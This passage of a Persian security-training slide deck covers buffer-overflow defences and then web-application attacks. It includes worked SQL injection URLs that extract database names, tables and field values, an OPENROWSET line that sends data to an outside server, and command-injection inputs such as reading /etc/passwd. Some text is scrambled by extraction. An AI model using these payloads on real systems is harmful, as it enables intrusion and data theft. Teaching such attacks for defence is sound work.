قبل تعریف و ‪ register‬شده اند.‬ ‫‪‬‬ ‫ویندوز ‪ Vista‬مبتنی بر نسخه جدید ‪ DEP‬میباشد که از تکنولوژی ‪ ASLR‬بهره می برد.‬ ‫‪‬‬ ‫در صورتی که پردازده از ‪ NX‬پشتیبانی نکند ، ویندوز پشتیبانی از این امکان بصورت ‪ Software-Emulated‬را ندارد‬ ‫‪‬‬ ‫‪ : NetBSD‬بهره گیری از ‪ Non Executable Heap/Stack‬از نسخه 0.2‬ ‫‪‬‬ ‫پشتیبانی از ‪amd64, sparc64, sparc(sun4m, sun4d) , powerpc(ibm4xx), alpha, sh5, hppa‬‬ ‫‪‬‬ ‫عدم پشتیبانی از ‪ Emulated-NX‬بطور پیشفرض‬ ‫‪‬‬ ‫‪ : OpenBSD‬پشتیبانی از ‪ NX‬تحت تکنولوژی اختصاصی با نام ‪ ( W^X (WAX‬از نسخه 3.3‬ ‫‪‬‬ ‫پشتیبانی از ‪Alpha, AMD64, HPPA, and SPARC‬‬ ‫‪‬‬ ‫پشتیباتی از ‪ Emulated-NX‬در برخی از پردازنده ها‬ ‫‪‬‬ ‫‪ : Solaris‬بهره گیری از ‪ Non Executable Stack‬از نسخه 6.2‬ ‫‪‬‬ ‫04‬
  • 41. ‫مقابله با حملت سرریز بافر‬ ‫14‬
  • 42. ‫مقابله با حملت سرریز بافر‬ ‫استفاده از نرم افزارها و الحاقیه های جانبی‬ ‫‪‬‬ ‫‪ ‬بهبود امنیت سیستم عامل‬ ‫اضافه کردن قابلیت های امنیتی مورد نیاز به سیستم عامل ، در صورت عدم وجود آنها بصورت پیشفرض‬ ‫‪‬‬ ‫‪… , ASLR , Non Executable Stack/Heap , Security Policies‬‬ ‫‪‬‬ ‫‪GRSecurity‬‬ ‫‪‬‬ ‫‪http://www.grsecurity.net/features.php ‬‬ ‫‪ ‬اضافه کردن ‪ PAX‬به کرنل لینوکس‬ ‫‪ ‬مقابله با ‪ Stack/Heap Overflow‬با استفاده از تکنیک های مختلف‬ ‫‪ ‬بهبود امنیت کامپایلر سیستم عامل‬ ‫‪ } ... ‬و بسیاری امکانات دیگر!{‬ ‫‪ ‬استفاده از نرم افزارهای جانبی برای مقابله با حملت‬ ‫رایج در سیستم عامل های خانواده ویندوز‬ ‫‪‬‬ ‫جبران کمبود های امنیتی سیستم عامل مانند ‪ NX‬و ‪ASLR‬‬ ‫‪‬‬ ‫تشخیص حملت سرریز بافر از طریق مانیتور کردن حافظه و جلوگیری از آنها‬ ‫‪‬‬ ‫استفاده در کنار قابلیت های امنیتی سیستم عامل ، برای پیچیده تر کردن مکانیزم حملت‬ ‫‪‬‬ ‫استفاده در مواردی که ناچار به استفاده از سیستم عامل های نا امن و یا نسخه های قدیمی هستیم‬ ‫‪‬‬ ‫استفاده بعنوان ‪(HIPS (Host Intrusion Prevention System‬‬ ‫‪‬‬ ‫ارائه غالبآ بصورت بسته های نرم افزاری تجاری‬ ‫‪‬‬ ‫‪http://www.eeye.com/html/products/blink/index.html : Eeye Blink‬‬ ‫‪‬‬ ‫‪/http://www.wehnus.com : WhehnTrust‬‬ ‫‪‬‬ ‫‪http://www.ngsec.com : StackDefender‬‬ ‫‪‬‬ ‫... }‪{!Google for more‬‬ ‫‪‬‬ ‫24‬
  • 43. ‫حمله به نرم افزارهای تحت وب‬ ‫روز به روز بر محبوبیت و کاربرد نرم افزارهای تحت وب اضافه میگردد‬ ‫‪‬‬ ‫نقطه شروع بسیاری از حملت علیه سیستم ها و شبکه ها نرم افزارهای تحت‬ ‫‪‬‬ ‫وب میباشد‬ ‫در بسیاری از موارد ، نرم افزارهای تحت وب تنها نقطه دسترسی یک نفوذگر‬ ‫‪‬‬ ‫به سیستم های هدف قرار گرفته میباشند‬ ‫در ادامه برخی از حملت شایع علیه نرم افزارهای تحت وب و همچنین‬ ‫‪‬‬ ‫راهکارهایی برای پیشگیری و مقابله با این حملت مورد بررسی قرار خواهد‬ ‫گرفت‬ ‫34‬
  • 44. ‫حمله به نرم افزارهای تحت وب‬ ‫ آشنایی با انواع حملت مبتنی بر نرم افزارهای تحت وب‬ Cross-Site Scripting  SQL Injection  Command Injection  Dynamic code execution  Cookie/Session Hijacking  Parameter/form Tampering  Buffer Overflows  Directory Traversal  Forceful Browsing  Information Leakages  Harvesting Attacks  44
  • 45. ‫حمله به نرم افزارهای تحت وب‬ ‫‪ ‬آشنایی با آناتومی حمله به سیستم های تحت وب‬ ‫پویش برای شناسایی نرم افزار تحت وب‬ ‫‪‬‬ ‫‪Web Spidering and User directed spidering‬‬ ‫‪‬‬ ‫‪Discovering Hidden contents‬‬ ‫‪‬‬ ‫‪Checking search engines and archive sites‬‬ ‫‪‬‬ ‫‪Brute-forcing directories and files‬‬ ‫‪‬‬ ‫‪Identify entry points for user inputs‬‬ ‫‪‬‬ ‫جمع آوری اطلعات و شناسایی هدف‬ ‫‪‬‬ ‫شناسایی وب سرور‬ ‫‪‬‬ ‫شناسایی ‪Application Server‬‬ ‫‪‬‬ ‫تست و بررسی وجود آسیب پذیری ها‬ ‫‪‬‬ ‫طراحی روش حمله و نحوه پیاده سازی آن‬ ‫‪‬‬ ‫پیاده سازی حمله‬ ‫‪‬‬ ‫54‬
  • 46. ‫حمله به نرم افزارهای تحت وب‬ ‫‪ ‬بررسی حملت ‪SQL Injection‬‬ ‫‪ ‬آشنایی با مکانیزم حملت ‪SQL Injection‬‬ ‫‪ ‬نحوه جستجو و شناسایی ‪SQL Injection‬‬ ‫‪Blind SQL Injection ‬‬ ‫‪Normal SQL Injection ‬‬ ‫‪ ‬عبور از فرم های اعتبار سنجی‬ ‫‪ ‬تزریق دستورات ( )‪SELECT,UNION‬‬ ‫‪SELECT,INSERT,UPDATE,DELETE‬‬ ‫‪ ‬استخراج اطلعات مفید اولیه از بانک اطلعاتی‬ ‫‪ ‬مشخص کردن نسخه بانک اطلعاتی‬ ‫‪ ‬مشخص کردن نام کاربری مورد استفاده بانک اطلعاتی‬ ‫64‬
  • 47. ‫حمله به نرم افزارهای تحت وب‬ ‫استخراج اطلعات مورد نظر از بانک اطلعاتی بر اساس پیغام های خطا‬  : Integer ‫بررسی پارامتر از نوع‬  –http://[site]/page.asp?id=1 having 1=1  Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate  .function and there is no GROUP BY clause : String ‫بررسی پارامتر از نوع‬  –http://[site]/page.asp?id=x' having 1=1  Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate  .function and there is no GROUP BY clause ‫استخراج نام کاربر بانک اطلعاتی‬  –((http://[site]/page.asp?id=1 or 1=convert(int,(USER  .Syntax error converting the nvarchar value '[DB USER]' to a column of data type int  ‫استخراج نام بانک اطلعاتی‬  –((http://[site]/page.asp?id=1 or 1=convert(int,(DB_NAME  .Syntax error converting the nvarchar value '[DB NAME]' to a column of data type int  ‫استخراج نسخه بانک اطلعاتی‬  –((http://[site]/page.asp?id=1 or 1=convert(int,(@@VERSION  .Syntax error converting the nvarchar value '[DB VERSION]' to a column of data type int  ‫استخراج نام سرور‬  –((http://[site]/page.asp?id=1 or 1=convert(int,(@@SERVERNAME  .Syntax error converting the nvarchar value '[SERVER NAME]' to a column of data type int  47
  • 48. ‫حمله به نرم افزارهای تحت وب‬ (2) ‫استخراج اطلعات مورد نظر از بانک اطلعاتی بر اساس پیغام های خطا‬   ‫استخراج نام اولین‬Table  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85)))–  Syntax error converting the nvarchar value '[TABLE NAME 1]' to a column of data type int.  ‫استخراج نام دومین‬Table  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85) and ,name>'TABLE- NAME-1'))–  Syntax error converting the nvarchar value '[TABLE NAME 2]' to a column of data type int.  ‫استخراج نام سومین‬Table  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85) and ,name>'TABLE- NAME-2'))-- Syntax error converting the nvarchar value '[TABLE NAME 3]' to a column of data type int.  ‫استخراج نام اولین‬Column ‫در‬Table  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 column_name from DBNAME.information_schema.columns where table_name='TABLE-NAME-1'))–  Syntax error converting the nvarchar value '[COLUMN NAME 1]' to a column of data type int.  ‫استخراج نام دومین‬Column ‫در‬Table  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 column_name from DBNAME.information_schema.columns where table_name='TABLE-NAME-1' and column_name>'COLUMN-NAME-1'))–  Syntax error converting the nvarchar value '[COLUMN NAME 2]' to a column of data type int.  ‫استخراج اولین‬Field ‫از اولین‬Row  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 COLUMN-NAME-1 from TABLE-NAME-1))–  Syntax error converting the nvarchar value '[FIELD 1 VALUE]' to a column of data type int.  ‫استخراج دومین‬Field ‫از اولین‬Row  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 COLUMN-NAME-2 from TABLE-NAME-1))–  Syntax error converting the nvarchar value '[FIELD 2 VALUE]' to a column of data type int.  ‫استخراج اولین‬Field ‫از دومین‬Row  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 COLUMN-NAME-1 from TABLE-NAME-1 where COLUMN- NAME-1 NOT in ('FIELD-1-VALUE') order by COLUMN-NAME-1 desc))–  Syntax error converting the nvarchar value '[FIELD 1 VALUE OF 2ND ROW]' to a column of data type int. 48
  • 49. ‫حمله به نرم افزارهای تحت وب‬ Union ‫استخراج اطلعات از بانک اطلعاتی با استفاده از‬   ‫مشخص کردن تعداد پارامترها‬  http://[site]/page.asp?id=1 UNION SELECT ALL 1,2–  All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists  http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4–  NO Error  ‫استخراج نام کاربر بانک اطلعاتی‬  http://[site]/page.asp?id=1 UNION SELECT ALL 1,USER,3,4—  ‫استخراج نام بانک اطلعاتی‬  http://[site]/page.asp?id=1 UNION SELECT ALL 1,DB_NAME,3,4—  ‫استخراج نسخه بانک اطلعاتی‬  http://[site]/page.asp?id=1 UNION SELECT ALL 1,@@VERSION,3,4—  ‫استخراج نام‬Table ‫های بانک اطلعاتی‬  http://[site]/page.asp?id=1 UNION SELECT ALL 1,name,3,4 from sysobjects where xtype=char(85)—  ‫استخراج نام‬Column ‫های‬Table ‫ها‬  http://[site]/page.asp?id=1 UNION SELECT ALL 1,column_name,3,4 from DBNAME.information_schema.columns where table_name='TABLE-NAME-1'—  ‫استخراج اولین‬Field  http://[site]/page.asp?id=1 UNION SELECT ALL 1,COLUMN-NAME-1,3,4 from TABLE-NAME-1—  ‫استخراج دومین‬Field  http://[site]/page.asp?id=1 UNION SELECT ALL 1,COLUMN-NAME-2,3,4 from TABLE-NAME-1-- 49
  • 50. ‫حمله به نرم افزارهای تحت وب‬ http//:www.evilsql) Blind SQL Injection ‫استخراج اطلعات مورد نظر در حملت‬  (.com/page1.html (Out of band channles) ‫آشنایی با روش های غیر معمول استخراج اطلعات‬  MS-SQL Openrowset   insert into openrowset(‘SQLOLEDB’,‘DRIVER={SQL Server};SERVER=10.20.10.20,80;UID=sa;PWD=1234’,‘select * from foo’) values (@@version) DNS Resolve  HTTP GET  http//:www.cqure.net/files/OWASP%20-%20Sweden%20-%2020080527%20-%20SQL%20injection.zip  SQL Injection ‫اجرای دستورات سیستم عامل از طریق‬  ‫ استخراج اطلعات‬Automated ‫بررسی ابزارهای‬  50
  • 51. ‫حمله به نرم افزارهای تحت وب‬ OS Command Injection ‫ بررسی حملت‬ use CGI qw(:standard escapeHTML); print header, start_html(““); Perl Applications  print “<pre>“; my $command = “du -h --exclude php* /var/www/html“; $command= $command.param(“dir“); $command=`$command`; print “$commandn“; print end_html; http://web-app/cgi-bin/vuln.cgi?dir=/public|%20cat %/etc/passwd <% ASP Applications  Set oScript = Server.CreateObject(“WSCRIPT.SHELL“) Set oFileSys = Server.CreateObject(“Scripting.FileSystemObject“) szCMD = “type c:inetpubwwwrootlogs“ & Request.Form(“FileName“) szTempFile = “C:“ & oFileSys.GetTempName() Call oScript.Run (“cmd.exe /c “ & szCMD & “ > “ & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) %> http://web-app/view.asp [Form Data  sample.log && dir c: 51
  • 52. ‫حمله به نرم افزارهای تحت وب‬ ‫‪ ‬بررسی حملت 2( ‪)Command Injection‬‬ ‫‪ ‬روش های شناسایی‬ ‫تزریق کاراکترهای خاص در پارامترها ، قبل از دستورات و مشاهده مستقیم نتیجه‬ ‫‪‬‬ ‫‪ ‬کاراکتر های ; | &&‬ ‫تزریق و تشخیص بر اساس تآخیرهای زمانی‬ ‫‪‬‬ ‫‪| ping –i 30 127.0.0.1 | ‬‬ ‫‪| ping –n 30 127.0.0.1 | ‬‬ ‫‪& ping –i 30 127.0.0.1 & ‬‬ ‫‪& ping –n 30 127.0.0.1 & ‬‬ ‫‪; ping 127.0.0.1 ; ‬‬ ‫‪%0a ping –i 30 127.0.0.1 %0a ‬‬ ‫‪` ping 127.0.0.1 ` ‬‬ ‫تزریق و تشخیص بر اساس مشاهده خروجی دستور از سایر روش ها‬ ‫‪‬‬ ‫‪ ‬بررسی حملت ‪Code Injection‬‬ ‫‪Dynamic Code Execution in PHP ‬‬ ‫‪Dynamic Code Execution in ASP‬‬ ‫‪‬‬ ‫‪File Inclusion‬‬ ‫‪‬‬ ‫‪(PHP Remote File Inclusion (RFI‬‬ ‫‪‬‬ ‫‪(Local File Inclusin (LFI‬‬ ‫‪‬‬ ‫25‬
  • 53. ‫حمله به نرم افزارهای تحت وب‬ ‫‪Path Traversal‬‬ ‫(‬ ‫433 ‪(WAHHB Page‬‬ ‫‪ ‬بررسی حملت‬ ‫(‬ ‫)‪Cross Site Scripting (XSS‬‬ ‫573 ‪(WAHHB Page‬‬ ‫‪ ‬بررسی حملت‬ ‫بررسی انواع حملت ‪ XSS‬و تفاوت های آنها‬ ‫‪‬‬ ‫‪Reflected XSS‬‬ ‫‪‬‬ ‫‪Stored XSS‬‬ ‫‪‬‬ ‫(‬ ‫شناسایی ضعف های 104 ‪XSS (WAHHB Page‬‬ ‫‪‬‬ ‫بررسی کاربردهای حملت ‪XSS‬‬ ‫‪‬‬ ‫سرقت ‪ Session‬کاربر‬ ‫‪‬‬ ‫‪ Bypass‬کردن برخی محدودیت های ‪Web Application‬‬ ‫‪‬‬ ‫ارسال درخواست بجای کاربر به ‪ web application‬برای انجام عملی خاص‬ ‫‪‬‬ ‫بررسی سایر روش های سو استفاده )693 ‪(WAHHB Page‬‬ ‫‪‬‬ ‫‪ ‬بررسی حملت ‪Parameter Tampering/Manipulation‬‬ ‫‪ ‬بررسی حملت ‪Forceful Browsing‬‬ ‫‪ ‬معرفی ابزارهای پویش و بررسی نرم افزارهای تحت وب‬ ‫35‬